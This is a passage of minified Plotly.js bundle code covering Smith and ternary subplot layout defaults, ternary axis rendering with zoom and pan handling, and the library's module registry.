h.clipPaths)h.clipPaths[i].remove()}}}te.exports={attr:S,name:d,idRoot:d,idRegex:g,attrRegex:g,attributes:t,layoutAttributes:e(33419),supplyLayoutDefaults:e(9558),plot:r,clean:f,toSVG:e(93612).toSVG}},33419:function(te,Z,e){var M=e(22399),P=e(13838),o=e(27670).Y,L=e(71828).extendFlat,S=e(30962).overrideAll,d=S({color:P.color,showline:L({},P.showline,{dflt:!0}),linecolor:P.linecolor,linewidth:P.linewidth,showgrid:L({},P.showgrid,{dflt:!0}),gridcolor:P.gridcolor,gridwidth:P.gridwidth,griddash:P.griddash},"plot","from-root"),g=S({ticklen:P.ticklen,tickwidth:L({},P.tickwidth,{dflt:2}),tickcolor:P.tickcolor,showticklabels:P.showticklabels,labelalias:P.labelalias,showtickprefix:P.showtickprefix,tickprefix:P.tickprefix,showticksuffix:P.showticksuffix,ticksuffix:P.ticksuffix,tickfont:P.tickfont,tickformat:P.tickformat,hoverformat:P.hoverformat,layer:P.layer},"plot","from-root"),t=L({visible:L({},P.visible,{dflt:!0}),tickvals:{dflt:[.2,.5,1,2,5],valType:"data_array",editType:"plot"},tickangle:L({},P.tickangle,{dflt:90}),ticks:{valType:"enumerated",values:["top","bottom",""],editType:"ticks"},side:{valType:"enumerated",values:["top","bottom"],dflt:"top",editType:"plot"},editType:"calc"},d,g),r=L({visible:L({},P.visible,{dflt:!0}),tickvals:{valType:"data_array",editType:"plot"},ticks:P.ticks,editType:"calc"},d,g);te.exports={domain:o({name:"smith",editType:"plot"}),bgcolor:{valType:"color",editType:"plot",dflt:M.background},realaxis:t,imaginaryaxis:r,editType:"calc"}},9558:function(te,Z,e){var M=e(71828),P=e(7901),o=e(44467),L=e(49119),S=e(27659).NG,d=e(89426),g=e(96115),t=e(92128),r=e(21994),f=e(33419),a=e(39779),l=a.axisNames,u=y(function(c){return c.slice().reverse().map(function(b){return-b}).concat([0]).concat(c)},String);function s(c,b,h,i){var v=h("bgcolor");i.bgColor=P.combine(v,i.paper_bgcolor);var T=S(i.fullData,a.name,i.id),w=i.layoutOut,E;function p(N,G){return h(E+"."+N,G)}for(var A=0;A<l.length;A++){E=l[A],M.isPlainObject(c[E])||(c[E]={});var m=c[E],n=o.newContainer(b,E);n._id=n._name=E,n._attr=i.id+"."+E,n._traceIndices=T.map(function(N){return N._expandedIndex});var C=p("visible");if(n.type="linear",r(n,w),d(m,n,p,n.type),C){var x=E==="realaxis";if(x&&p("side"),x)p("tickvals");else{var I=u(b.realaxis.tickvals||f.realaxis.tickvals.dflt);p("tickvals",I)}var k,B,_,F,O=i.font||{};C&&(k=p("color"),B=k===m.color?k:O.color,_=O.size,F=O.family),g(m,n,p,n.type,{noTicklabelstep:!0,noAng:!x,noExp:!0,font:{color:B,size:_,family:F}}),M.coerce2(c,b,f,E+".ticklen"),M.coerce2(c,b,f,E+".tickwidth"),M.coerce2(c,b,f,E+".tickcolor",b.color);var z=p("ticks");z||(delete b[E].ticklen,delete b[E].tickwidth,delete b[E].tickcolor),t(m,n,p,{dfltColor:k,bgColor:i.bgColor,blend:60,showLine:!0,showGrid:!0,noZeroLine:!0,attributes:f[E]}),p("layer")}p("hoverformat"),delete n.type,n._input=m}}te.exports=function(b,h,i){L(b,h,i,{noUirevision:!0,type:a.name,attributes:f,handleDefaults:s,font:h.font,paper_bgcolor:h.paper_bgcolor,fullData:i,layoutOut:h})};function y(c,b){var h={};return function(i){var v=b?b(i):i;if(v in h)return h[v];var T=c(i);return h[v]=T,T}}},49119:function(te,Z,e){var M=e(71828),P=e(44467),o=e(27670).c;te.exports=function(S,d,g,t){var r=t.type,f=t.attributes,a=t.handleDefaults,l=t.partition||"x",u=d._subplots[r],s=u.length,y=s&&u[0].replace(/\d+$/,""),c,b;function h(w,E){return M.coerce(c,b,f,w,E)}for(var i=0;i<s;i++){var v=u[i];S[v]?c=S[v]:c=S[v]={},b=P.newContainer(d,v,y),t.noUirevision||h("uirevision",d.uirevision);var T={};T[l]=[i/s,(i+1)/s],o(b,d,h,T),t.id=v,a(c,b,h,t)}}},5386:function(te,Z,e){var M=e(31562);M.FORMAT_LINK,M.DATE_FORMAT_LINK;function P(o){var L=o.description?" "+o.description:"",S=o.keys||[];if(S.length>0){for(var d=[],g=0;g<S.length;g++)d[g]="`"+S[g]+"`";L=L+"Finally, the template string has access to ",S.length===1?L=L+"variable "+d[0]:L=L+"variables "+d.slice(0,-1).join(", ")+" and "+d.slice(-1)+"."}return L}Z.fF=function(o,L){o=o||{},L=L||{},P(L);var S={valType:"string",dflt:"",editType:o.editType||"none"};return o.arrayOk!==!1&&(S.arrayOk=!0),S},Z.si=function(o,L){o=o||{},L=L||{},P(L);var S={valType:"string",dflt:"",editType:o.editType||"calc"};return o.arrayOk!==!1&&(S.arrayOk=!0),S},Z.R=function(o,L){o=o||{},L=L||{},o.newshape,P(L);var S={valType:"string",dflt:"",editType:o.editType||"arraydraw"};return S}},61639:function(te,Z,e){var M=e(64380),P=e(27659).AU,o=e(71828).counterRegex,L="ternary";Z.name=L;var S=Z.attr="subplot";Z.idRoot=L,Z.idRegex=Z.attrRegex=o(L);var d=Z.attributes={};d[S]={valType:"subplotid",dflt:"ternary",editType:"calc"},Z.layoutAttributes=e(81367),Z.supplyLayoutDefaults=e(25369),Z.plot=function(t){for(var r=t._fullLayout,f=t.calcdata,a=r._subplots[L],l=0;l<a.length;l++){var u=a[l],s=P(f,L,u),y=r[u]._subplot;y||(y=new M({id:u,graphDiv:t,container:r._ternarylayer.node()},r),r[u]._subplot=y),y.plot(s,r,t._promises)}},Z.clean=function(g,t,r,f){for(var a=f._subplots[L]||[],l=0;l<a.length;l++){var u=a[l],s=f[u]._subplot;!t[u]&&s&&(s.plotContainer.remove(),s.clipDef.remove(),s.clipDefRelative.remove(),s.layers["a-title"].remove(),s.layers["b-title"].remove(),s.layers["c-title"].remove())}}},81367:function(te,Z,e){var M=e(22399),P=e(27670).Y,o=e(13838),L=e(30962).overrideAll,S=e(1426).extendFlat,d={title:{text:o.title.text,font:o.title.font},color:o.color,tickmode:o.minor.tickmode,nticks:S({},o.nticks,{dflt:6,min:1}),tick0:o.tick0,dtick:o.dtick,tickvals:o.tickvals,ticktext:o.ticktext,ticks:o.ticks,ticklen:o.ticklen,tickwidth:o.tickwidth,tickcolor:o.tickcolor,ticklabelstep:o.ticklabelstep,showticklabels:o.showticklabels,labelalias:o.labelalias,showtickprefix:o.showtickprefix,tickprefix:o.tickprefix,showticksuffix:o.showticksuffix,ticksuffix:o.ticksuffix,showexponent:o.showexponent,exponentformat:o.exponentformat,minexponent:o.minexponent,separatethousands:o.separatethousands,tickfont:o.tickfont,tickangle:o.tickangle,tickformat:o.tickformat,tickformatstops:o.tickformatstops,hoverformat:o.hoverformat,showline:S({},o.showline,{dflt:!0}),linecolor:o.linecolor,linewidth:o.linewidth,showgrid:S({},o.showgrid,{dflt:!0}),gridcolor:o.gridcolor,gridwidth:o.gridwidth,griddash:o.griddash,layer:o.layer,min:{valType:"number",dflt:0,min:0},_deprecated:{title:o._deprecated.title,titlefont:o._deprecated.titlefont}},g=te.exports=L({domain:P({name:"ternary"}),bgcolor:{valType:"color",dflt:M.background},sum:{valType:"number",dflt:1,min:0},aaxis:d,baxis:d,caxis:d},"plot","from-root");g.uirevision={valType:"any",editType:"none"},g.aaxis.uirevision=g.baxis.uirevision=g.caxis.uirevision={valType:"any",editType:"none"}},25369:function(te,Z,e){var M=e(7901),P=e(44467),o=e(71828),L=e(49119),S=e(96115),d=e(89426),g=e(38701),t=e(26218),r=e(92128),f=e(81367),a=["aaxis","baxis","caxis"];te.exports=function(y,c,b){L(y,c,b,{type:"ternary",attributes:f,handleDefaults:l,font:c.font,paper_bgcolor:c.paper_bgcolor})};function l(s,y,c,b){var h=c("bgcolor"),i=c("sum");b.bgColor=M.combine(h,b.paper_bgcolor);for(var v,T,w,E=0;E<a.length;E++)v=a[E],T=s[v]||{},w=P.newContainer(y,v),w._name=v,u(T,w,b,y);var p=y.aaxis,A=y.baxis,m=y.caxis;p.min+A.min+m.min>=i&&(p.min=0,A.min=0,m.min=0,s.aaxis&&delete s.aaxis.min,s.baxis&&delete s.baxis.min,s.caxis&&delete s.caxis.min)}function u(s,y,c,b){var h=f[y._name];function i(n,C){return o.coerce(s,y,h,n,C)}i("uirevision",b.uirevision),y.type="linear";var v=i("color"),T=v!==h.color.dflt?v:c.font.color,w=y._name,E=w.charAt(0).toUpperCase(),p="Component "+E,A=i("title.text",p);y._hovertitle=A===p?A:E,o.coerceFont(i,"title.font",{family:c.font.family,size:o.bigFont(c.font.size),color:T}),i("min"),t(s,y,i,"linear"),d(s,y,i,"linear"),S(s,y,i,"linear"),g(s,y,i,{outerTicks:!0});var m=i("showticklabels");m&&(o.coerceFont(i,"tickfont",{family:c.font.family,size:c.font.size,color:T}),i("tickangle"),i("tickformat")),r(s,y,i,{dfltColor:v,bgColor:c.bgColor,blend:60,showLine:!0,showGrid:!0,noZeroLine:!0,attributes:h}),i("hoverformat"),i("layer")}},64380:function(te,Z,e){var M=e(39898),P=e(84267),o=e(73972),L=e(71828),S=L.strTranslate,d=L._,g=e(7901),t=e(91424),r=e(21994),f=e(1426).extendFlat,a=e(74875),l=e(89298),u=e(28569),s=e(30211),y=e(64505),c=y.freeMode,b=y.rectMode,h=e(92998),i=e(47322).prepSelect,v=e(47322).selectOnClick,T=e(47322).clearOutline,w=e(47322).clearSelectionsCache,E=e(85555);function p(O,z){this.id=O.id,this.graphDiv=O.graphDiv,this.init(z),this.makeFramework(z),this.aTickLayout=null,this.bTickLayout=null,this.cTickLayout=null}te.exports=p;var A=p.prototype;A.init=function(O){this.container=O._ternarylayer,this.defs=O._defs,this.layoutId=O._uid,this.traceHash={},this.layers={}},A.plot=function(O,z){var N=this,G=z[N.id],J=z._size;N._hasClipOnAxisFalse=!1;for(var q=0;q<O.length;q++){var ne=O[q][0].trace;if(ne.cliponaxis===!1){N._hasClipOnAxisFalse=!0;break}}N.updateLayers(G),N.adjustLayout(G,J),a.generalUpdatePerTraceModule(N.graphDiv,N,O,G),N.layers.plotbg.select("path").call(g.fill,G.bgcolor)},A.makeFramework=function(O){var z=this,N=z.graphDiv,G=O[z.id],J=z.clipId="clip"+z.layoutId+z.id,q=z.clipIdRelative="clip-relative"+z.layoutId+z.id;z.clipDef=L.ensureSingleById(O._clips,"clipPath",J,function(ne){ne.append("path").attr("d","M0,0Z")}),z.clipDefRelative=L.ensureSingleById(O._clips,"clipPath",q,function(ne){ne.append("path").attr("d","M0,0Z")}),z.plotContainer=L.ensureSingle(z.container,"g",z.id),z.updateLayers(G),t.setClipUrl(z.layers.backplot,J,N),t.setClipUrl(z.layers.grids,J,N)},A.updateLayers=function(O){var z=this,N=z.layers,G=["draglayer","plotbg","backplot","grids"];O.aaxis.layer==="below traces"&&G.push("aaxis","aline"),O.baxis.layer==="below traces"&&G.push("baxis","bline"),O.caxis.layer==="below traces"&&G.push("caxis","cline"),G.push("frontplot"),O.aaxis.layer==="above traces"&&G.push("aaxis","aline"),O.baxis.layer==="above traces"&&G.push("baxis","bline"),O.caxis.layer==="above traces"&&G.push("caxis","cline");var J=z.plotContainer.selectAll("g.toplevel").data(G,String),q=["agrid","bgrid","cgrid"];J.enter().append("g").attr("class",function(ne){return"toplevel "+ne}).each(function(ne){var fe=M.select(this);N[ne]=fe,ne==="frontplot"?fe.append("g").classed("scatterlayer",!0):ne==="backplot"?fe.append("g").classed("maplayer",!0):ne==="plotbg"?fe.append("path").attr("d","M0,0Z"):ne==="aline"||ne==="bline"||ne==="cline"?fe.append("path"):ne==="grids"&&q.forEach(function(X){N[X]=fe.append("g").classed("grid "+X,!0)})}),J.order()};var m=Math.sqrt(4/3);A.adjustLayout=function(O,z){var N=this,G=O.domain,J=(G.x[0]+G.x[1])/2,q=(G.y[0]+G.y[1])/2,ne=G.x[1]-G.x[0],fe=G.y[1]-G.y[0],X=ne*z.w,W=fe*z.h,V=O.sum,Y=O.aaxis.min,Q=O.baxis.min,ie=O.caxis.min,j,K,oe,re,le,pe;X>m*W?(re=W,oe=re*m):(oe=X,re=oe/m),le=ne*oe/X,pe=fe*re/W,j=z.l+z.w*J-oe/2,K=z.t+z.h*(1-q)-re/2,N.x0=j,N.y0=K,N.w=oe,N.h=re,N.sum=V,N.xaxis={type:"linear",range:[Y+2*ie-V,V-Y-2*Q],domain:[J-le/2,J+le/2],_id:"x"},r(N.xaxis,N.graphDiv._fullLayout),N.xaxis.setScale(),N.xaxis.isPtWithinRange=function(Be){return Be.a>=N.aaxis.range[0]&&Be.a<=N.aaxis.range[1]&&Be.b>=N.baxis.range[1]&&Be.b<=N.baxis.range[0]&&Be.c>=N.caxis.range[1]&&Be.c<=N.caxis.range[0]},N.yaxis={type:"linear",range:[Y,V-Q-ie],domain:[q-pe/2,q+pe/2],_id:"y"},r(N.yaxis,N.graphDiv._fullLayout),N.yaxis.setScale(),N.yaxis.isPtWithinRange=function(){return!0};var we=N.yaxis.domain[0],xe=N.aaxis=f({},O.aaxis,{range:[Y,V-Q-ie],side:"left",tickangle:(+O.aaxis.tickangle||0)-30,domain:[we,we+pe*m],anchor:"free",position:0,_id:"y",_length:oe});r(xe,N.graphDiv._fullLayout),xe.setScale();var ke=N.baxis=f({},O.baxis,{range:[V-Y-ie,Q],side:"bottom",domain:N.xaxis.domain,anchor:"free",position:0,_id:"x",_length:oe});r(ke,N.graphDiv._fullLayout),ke.setScale();var _e=N.caxis=f({},O.caxis,{range:[V-Y-Q,ie],side:"right",tickangle:(+O.caxis.tickangle||0)+30,domain:[we,we+pe*m],anchor:"free",position:0,_id:"y",_length:oe});r(_e,N.graphDiv._fullLayout),_e.setScale();var be="M"+j+","+(K+re)+"h"+oe+"l-"+oe/2+",-"+re+"Z";N.clipDef.select("path").attr("d",be),N.layers.plotbg.select("path").attr("d",be);var ge="M0,"+re+"h"+oe+"l-"+oe/2+",-"+re+"Z";N.clipDefRelative.select("path").attr("d",ge);var Te=S(j,K);N.plotContainer.selectAll(".scatterlayer,.maplayer").attr("transform",Te),N.clipDefRelative.select("path").attr("transform",null);var Fe=S(j-ke._offset,K+re);N.layers.baxis.attr("transform",Fe),N.layers.bgrid.attr("transform",Fe);var Oe=S(j+oe/2,K)+"rotate(30)"+S(0,-xe._offset);N.layers.aaxis.attr("transform",Oe),N.layers.agrid.attr("transform",Oe);var Ce=S(j+oe/2,K)+"rotate(-30)"+S(0,-_e._offset);N.layers.caxis.attr("transform",Ce),N.layers.cgrid.attr("transform",Ce),N.drawAxes(!0),N.layers.aline.select("path").attr("d",xe.showline?"M"+j+","+(K+re)+"l"+oe/2+",-"+re:"M0,0").call(g.stroke,xe.linecolor||"#000").style("stroke-width",(xe.linewidth||0)+"px"),N.layers.bline.select("path").attr("d",ke.showline?"M"+j+","+(K+re)+"h"+oe:"M0,0").call(g.stroke,ke.linecolor||"#000").style("stroke-width",(ke.linewidth||0)+"px"),N.layers.cline.select("path").attr("d",_e.showline?"M"+(j+oe/2)+","+K+"l"+oe/2+","+re:"M0,0").call(g.stroke,_e.linecolor||"#000").style("stroke-width",(_e.linewidth||0)+"px"),N.graphDiv._context.staticPlot||N.initInteractions(),t.setClipUrl(N.layers.frontplot,N._hasClipOnAxisFalse?null:N.clipId,N.graphDiv)},A.drawAxes=function(O){var z=this,N=z.graphDiv,G=z.id.substr(7)+"title",J=z.layers,q=z.aaxis,ne=z.baxis,fe=z.caxis;if(z.drawAx(q),z.drawAx(ne),z.drawAx(fe),O){var X=Math.max(q.showticklabels?q.tickfont.size/2:0,(fe.showticklabels?fe.tickfont.size*.75:0)+(fe.ticks==="outside"?fe.ticklen*.87:0)),W=(ne.showticklabels?ne.tickfont.size:0)+(ne.ticks==="outside"?ne.ticklen:0)+3;J["a-title"]=h.draw(N,"a"+G,{propContainer:q,propName:z.id+".aaxis.title",placeholder:d(N,"Click to enter Component A title"),attributes:{x:z.x0+z.w/2,y:z.y0-q.title.font.size/3-X,"text-anchor":"middle"}}),J["b-title"]=h.draw(N,"b"+G,{propContainer:ne,propName:z.id+".baxis.title",placeholder:d(N,"Click to enter Component B title"),attributes:{x:z.x0-W,y:z.y0+z.h+ne.title.font.size*.83+W,"text-anchor":"middle"}}),J["c-title"]=h.draw(N,"c"+G,{propContainer:fe,propName:z.id+".caxis.title",placeholder:d(N,"Click to enter Component C title"),attributes:{x:z.x0+z.w+W,y:z.y0+z.h+fe.title.font.size*.83+W,"text-anchor":"middle"}})}},A.drawAx=function(O){var z=this,N=z.graphDiv,G=O._name,J=G.charAt(0),q=O._id,ne=z.layers[G],fe=30,X=J+"tickLayout",W=n(O);z[X]!==W&&(ne.selectAll("."+q+"tick").remove(),z[X]=W),O.setScale();var V=l.calcTicks(O),Y=l.clipEnds(O,V),Q=l.makeTransTickFn(O),ie=l.getTickSigns(O)[2],j=L.deg2rad(fe),K=ie*(O.linewidth||1)/2,oe=ie*O.ticklen,re=z.w,le=z.h,pe=J==="b"?"M0,"+K+"l"+Math.sin(j)*oe+","+Math.cos(j)*oe:"M"+K+",0l"+Math.cos(j)*oe+","+-Math.sin(j)*oe,we={a:"M0,0l"+le+",-"+re/2,b:"M0,0l-"+re/2+",-"+le,c:"M0,0l-"+le+","+re/2}[J];l.drawTicks(N,O,{vals:O.ticks==="inside"?Y:V,layer:ne,path:pe,transFn:Q,crisp:!1}),l.drawGrid(N,O,{vals:Y,layer:z.layers[J+"grid"],path:we,transFn:Q,crisp:!1}),l.drawLabels(N,O,{vals:V,layer:ne,transFn:Q,labelFns:l.makeLabelFns(O,0,fe)})};function n(O){return O.ticks+String(O.ticklen)+String(O.showticklabels)}var C=E.MINZOOM/2+.87,x="m-0.87,.5h"+C+"v3h-"+(C+5.2)+"l"+(C/2+2.6)+",-"+(C*.87+4.5)+"l2.6,1.5l-"+C/2+","+C*.87+"Z",I="m0.87,.5h-"+C+"v3h"+(C+5.2)+"l-"+(C/2+2.6)+",-"+(C*.87+4.5)+"l-2.6,1.5l"+C/2+","+C*.87+"Z",k="m0,1l"+C/2+","+C*.87+"l2.6,-1.5l-"+(C/2+2.6)+",-"+(C*.87+4.5)+"l-"+(C/2+2.6)+","+(C*.87+4.5)+"l2.6,1.5l"+C/2+",-"+C*.87+"Z",B="m0.5,0.5h5v-2h-5v-5h-2v5h-5v2h5v5h2Z",_=!0;A.clearOutline=function(){w(this.dragOptions),T(this.dragOptions.gd)},A.initInteractions=function(){var O=this,z=O.layers.plotbg.select("path").node(),N=O.graphDiv,G=N._fullLayout._zoomlayer,J,q;this.dragOptions={element:z,gd:N,plotinfo:{id:O.id,domain:N._fullLayout[O.id].domain,xaxis:O.xaxis,yaxis:O.yaxis},subplot:O.id,prepFn:function(Fe,Oe,Ce){O.dragOptions.xaxes=[O.xaxis],O.dragOptions.yaxes=[O.yaxis],J=N._fullLayout._invScaleX,q=N._fullLayout._invScaleY;var Be=O.dragOptions.dragmode=N._fullLayout.dragmode;c(Be)?O.dragOptions.minDrag=1:O.dragOptions.minDrag=void 0,Be==="zoom"?(O.dragOptions.moveFn=ke,O.dragOptions.clickFn=re,O.dragOptions.doneFn=_e,le(Fe,Oe,Ce)):Be==="pan"?(O.dragOptions.moveFn=ge,O.dragOptions.clickFn=re,O.dragOptions.doneFn=Te,be(),O.clearOutline(N)):(b(Be)||c(Be))&&i(Fe,Oe,Ce,O.dragOptions,Be)}};var ne,fe,X,W,V,Y,Q,ie,j,K;function oe(Fe){var Oe={};return Oe[O.id+".aaxis.min"]=Fe.a,Oe[O.id+".baxis.min"]=Fe.b,Oe[O.id+".caxis.min"]=Fe.c,Oe}function re(Fe,Oe){var Ce=N._fullLayout.clickmode;F(N),Fe===2&&(N.emit("plotly_doubleclick",null),o.call("_guiRelayout",N,oe({a:0,b:0,c:0}))),Ce.indexOf("select")>-1&&Fe===1&&v(Oe,N,[O.xaxis],[O.yaxis],O.id,O.dragOptions),Ce.indexOf("event")>-1&&s.click(N,Oe,O.id)}function le(Fe,Oe,Ce){var Be=z.getBoundingClientRect();ne=Oe-Be.left,fe=Ce-Be.top,N._fullLayout._calcInverseTransform(N);var $e=N._fullLayout._invTransform,Xe=L.apply3DTransform($e)(ne,fe);ne=Xe[0],fe=Xe[1],X={a:O.aaxis.range[0],b:O.baxis.range[1],c:O.caxis.range[1]},V=X,W=O.aaxis.range[1]-X.a,Y=P(O.graphDiv._fullLayout[O.id].bgcolor).getLuminance(),Q="M0,"+O.h+"L"+O.w/2+", 0L"+O.w+","+O.h+"Z",ie=!1,j=G.append("path").attr("class","zoombox").attr("transform",S(O.x0,O.y0)).style({fill:Y>.2?"rgba(0,0,0,0)":"rgba(255,255,255,0)","stroke-width":0}).attr("d",Q),K=G.append("path").attr("class","zoombox-corners").attr("transform",S(O.x0,O.y0)).style({fill:g.background,stroke:g.defaultLine,"stroke-width":1,opacity:0}).attr("d","M0,0Z"),O.clearOutline(N)}function pe(Fe,Oe){return 1-Oe/O.h}function we(Fe,Oe){return 1-(Fe+(O.h-Oe)/Math.sqrt(3))/O.w}function xe(Fe,Oe){return(Fe-(O.h-Oe)/Math.sqrt(3))/O.w}function ke(Fe,Oe){var Ce=ne+Fe*J,Be=fe+Oe*q,$e=Math.max(0,Math.min(1,pe(ne,fe),pe(Ce,Be))),Xe=Math.max(0,Math.min(1,we(ne,fe),we(Ce,Be))),Ze=Math.max(0,Math.min(1,xe(ne,fe),xe(Ce,Be))),Ke=($e/2+Ze)*O.w,st=(1-$e/2-Xe)*O.w,lt=(Ke+st)/2,ut=st-Ke,yt=(1-$e)*O.h,bt=yt-ut/m;ut<E.MINZOOM?(V=X,j.attr("d",Q),K.attr("d","M0,0Z")):(V={a:X.a+$e*W,b:X.b+Xe*W,c:X.c+Ze*W},j.attr("d",Q+"M"+Ke+","+yt+"H"+st+"L"+lt+","+bt+"L"+Ke+","+yt+"Z"),K.attr("d","M"+ne+","+fe+B+"M"+Ke+","+yt+x+"M"+st+","+yt+I+"M"+lt+","+bt+k)),ie||(j.transition().style("fill",Y>.2?"rgba(0,0,0,0.4)":"rgba(255,255,255,0.3)").duration(200),K.transition().style("opacity",1).duration(200),ie=!0),N.emit("plotly_relayouting",oe(V))}function _e(){F(N),V!==X&&(o.call("_guiRelayout",N,oe(V)),_&&N.data&&N._context.showTips&&(L.notifier(d(N,"Double-click to zoom back out"),"long"),_=!1))}function be(){X={a:O.aaxis.range[0],b:O.baxis.range[1],c:O.caxis.range[1]},V=X}function ge(Fe,Oe){var Ce=Fe/O.xaxis._m,Be=Oe/O.yaxis._m;V={a:X.a-Be,b:X.b+(Ce+Be)/2,c:X.c-(Ce-Be)/2};var $e=[V.a,V.b,V.c].sort(L.sorterAsc),Xe={a:$e.indexOf(V.a),b:$e.indexOf(V.b),c:$e.indexOf(V.c)};$e[0]<0&&($e[1]+$e[0]/2<0?($e[2]+=$e[0]+$e[1],$e[0]=$e[1]=0):($e[2]+=$e[0]/2,$e[1]+=$e[0]/2,$e[0]=0),V={a:$e[Xe.a],b:$e[Xe.b],c:$e[Xe.c]},Oe=(X.a-V.a)*O.yaxis._m,Fe=(X.c-V.c-X.b+V.b)*O.xaxis._m);var Ze=S(O.x0+Fe,O.y0+Oe);O.plotContainer.selectAll(".scatterlayer,.maplayer").attr("transform",Ze);var Ke=S(-Fe,-Oe);O.clipDefRelative.select("path").attr("transform",Ke),O.aaxis.range=[V.a,O.sum-V.b-V.c],O.baxis.range=[O.sum-V.a-V.c,V.b],O.caxis.range=[O.sum-V.a-V.b,V.c],O.drawAxes(!1),O._hasClipOnAxisFalse&&O.plotContainer.select(".scatterlayer").selectAll(".trace").call(t.hideOutsideRangePoints,O),N.emit("plotly_relayouting",oe(V))}function Te(){o.call("_guiRelayout",N,oe(V))}z.onmousemove=function(Fe){s.hover(N,Fe,O.id),N._fullLayout._lasthover=z,N._fullLayout._hoversubplot=O.id},z.onmouseout=function(Fe){N._dragging||u.unhover(N,Fe)},u.init(this.dragOptions)};function F(O){M.select(O).selectAll(".zoombox,.js-zoombox-backdrop,.js-zoombox-menu,.zoombox-corners").remove()}},73972:function(te,Z,e){var M=e(47769),P=e(64213),o=e(75138),L=e(41965),S=e(24401).addStyleRule,d=e(1426),g=e(9012),t=e(10820),r=d.extendFlat,f=d.extendDeepAll;Z.modules={},Z.allCategories={},Z.allTypes=[],Z.subplotsRegistry={},Z.transformsRegistry={},Z.componentsRegistry={},Z.layoutArrayContainers=[],Z.layoutArrayRegexes=[],Z.traceLayoutAttributes={},Z.localeRegistry={},Z.apiMethodRegistry={},Z.collectableSubplotTypes=null,Z.register=function(w){if(Z.collectableSubplotTypes=null,w)w&&!Array.isArray(w)&&(w=[w]);else throw new Error("No argument passed to Plotly.register.");for(var E=0;E<w.length;E++){var p=w[E];if(!p)throw new Error("Invalid module was attempted to be registered!");switch(p.moduleType){case"trace":a(p);break;case"transform":s(p);break;case"component":u(p);break;case"locale":y(p);break;case"apiMethod":var A=p.name;Z.apiMethodRegistry[A]=p.fn;break;default:throw new Error("Invalid module was attempted to be registered!")}}},Z.getModule=function(T){var w=Z.modules[v(T)];return w?w._module:!1},Z.traceIs=function(T,w){if(T=v(T),T==="various")return!1;var E=Z.modules[T];return E||(T&&M.log("Unrecognized trace type "+T+"."),E=Z.modules[g.type.dflt]),!!E.categories[w]},Z.getTransformIndices=function(T,w){for(var E=[],p=T.transforms||[],A=0;A<p.length;A++)p[A].type===w&&E.push(A);return E},Z.hasTransform=function(T,w){for(var E=T.transforms||[],p=0;p<E.length;p++)if(E[p].type===w)return!0;return!1},Z.getComponentMethod=function(T,w){var E=Z.componentsRegistry[T];return E&&E[w]||P},Z.call=function(){var T=arguments[0],w=[].slice.call(arguments,1);return Z.apiMethodRegistry[T].apply(null,w)};function a(T){var w=T.name,E=T.categories,p=T.meta;if(Z.modules[w]){M.log("Type "+w+" already registered");return}Z.subplotsRegistry[T.basePlotModule.name]||l(T.basePlotModule);for(var A={},m=0;m<E.length;m++)A[E[m]]=!0,Z.allCategories[E[m]]=!0;Z.modules[w]={_module:T,categories:A},p&&Object.keys(p).length&&(Z.modules[w].meta=p),Z.allTypes.push(w);for(var n in Z.componentsRegistry)b(n,w);T.layoutAttributes&&r(Z.traceLayoutAttributes,T.layoutAttributes);var C=T.basePlotModule,x=C.name;if(x==="mapbox"){var I=C.constants.styleRules;for(var k in I)S(".js-plotly-plot .plotly .mapboxgl-"+k,I[k])}(x==="geo"||x==="mapbox")&&window.PlotlyGeoAssets===void 0&&(window.PlotlyGeoAssets={topojson:{}})}function l(T){var w=T.name;if(Z.subplotsRegistry[w]){M.log("Plot type "+w+" already registered.");return}c(T),Z.subplotsRegistry[w]=T;for(var E in Z.componentsRegistry)i(E,T.name)}function u(T){if(typeof T.name!="string")throw new Error("Component module *name* must be a string.");var w=T.name;Z.componentsRegistry[w]=T,T.layoutAttributes&&(T.layoutAttributes._isLinkedToArray&&o(Z.layoutArrayContainers,w),c(T));for(var E in Z.modules)b(w,E);for(var p in Z.subplotsRegistry)i(w,p);for(var A in Z.transformsRegistry)h(w,A);T.schema&&T.schema.layout&&f(t,T.schema.layout)}function s(T){if(typeof T.name!="string")throw new Error("Transform module *name* must be a string.");var w="Transform module "+T.name,E=typeof T.transform=="function",p=typeof T.calcTransform=="function";if(!E&&!p)throw new Error(w+" is missing a *transform* or *calcTransform* method.");E&&p&&M.log([w+" has both a *transform* and *calcTransform* methods.","Please note that all *transform* methods are executed","before all *calcTransform* methods."].join(" ")),L(T.attributes)||M.log(w+" registered without an *attributes* object."),typeof T.supplyDefaults!="function"&&M.log(w+" registered without a *supplyDefaults* method."),Z.transformsRegistry[T.name]=T;for(var A in Z.componentsRegistry)h(A,T.name)}function y(T){var w=T.name,E=w.split("-")[0],p=T.dictionary,A=T.format,m=p&&Object.keys(p).length,n=A&&Object.keys(A).length,C=Z.localeRegistry,x=C[w];if(x||(C[w]=x={}),E!==w){var I=C[E];I||(C[E]=I={}),m&&I.dictionary===x.dictionary&&(I.dictionary=p),n&&I.format===x.format&&(I.format=A)}m&&(x.dictionary=p),n&&(x.format=A)}function c(T){if(T.layoutAttributes){var w=T.layoutAttributes._arrayAttrRegexps;if(w)for(var E=0;E<w.length;E++)o(Z.layoutArrayRegexes,w[E])}}function b(T,w){var E=Z.componentsRegistry[T].schema;if(!(!E||!E.traces)){var p=E.traces[w];p&&f(Z.modules[w]._module.attributes,p)}}function h(T,w){var E=Z.componentsRegistry[T].schema;if(!(!E||!E.transforms)){var p=E.transforms[w];p&&f(Z.transformsRegistry[w].attributes,p)}}function i(T,w){var E=Z.componentsRegistry[T].schema;if(!(!E||!E.subplots)){var p=Z.subplotsRegistry[w],A=p.layoutAttributes,m=p.attr==="subplot"?p.name:p.attr;Array.isArray(m)&&(m=m[0]);var n=E.subplots[m];A&&n&&f(A,n)}}function v(T){return typeof T=="object"&&(T=T.type),T}},61914:function(te,Z,e){var M=e(73972),P=e(71828),o=P.extendFlat,L=P.extendDeep;function S(g){var t;switch(g){case"themes__thumb":t={autosize:!0,width:150,height:150,title:{text:""},showlegend:!1,margin:{l:5,r:5,t:5,b:5,pad:0},annotations:[]};break;case"thumbnail":t={title:{text:""},hidesources:!0,showlegend:!1,borderwidth:0,bordercolor:"",margin:{l:1,r:1,t:1,b:1,pad:0},annotations:[]};break;default:t={}}return t}function d(g){var t=["xaxis","yaxis","zaxis"];return t.indexOf(g.slice(0,5))>-1}te.exports=function(t,r){var f,a=t.data,l=t.layout,u=L([],a),s=L({},l,S(r.tileClass)),y=t._context||{};if(r.width&&(s.width=r.width),r.height&&(s.height=r.height),r.tileClass==="thumbnail"||r.tileClass==="themes__thumb"){s.annotations=[];var 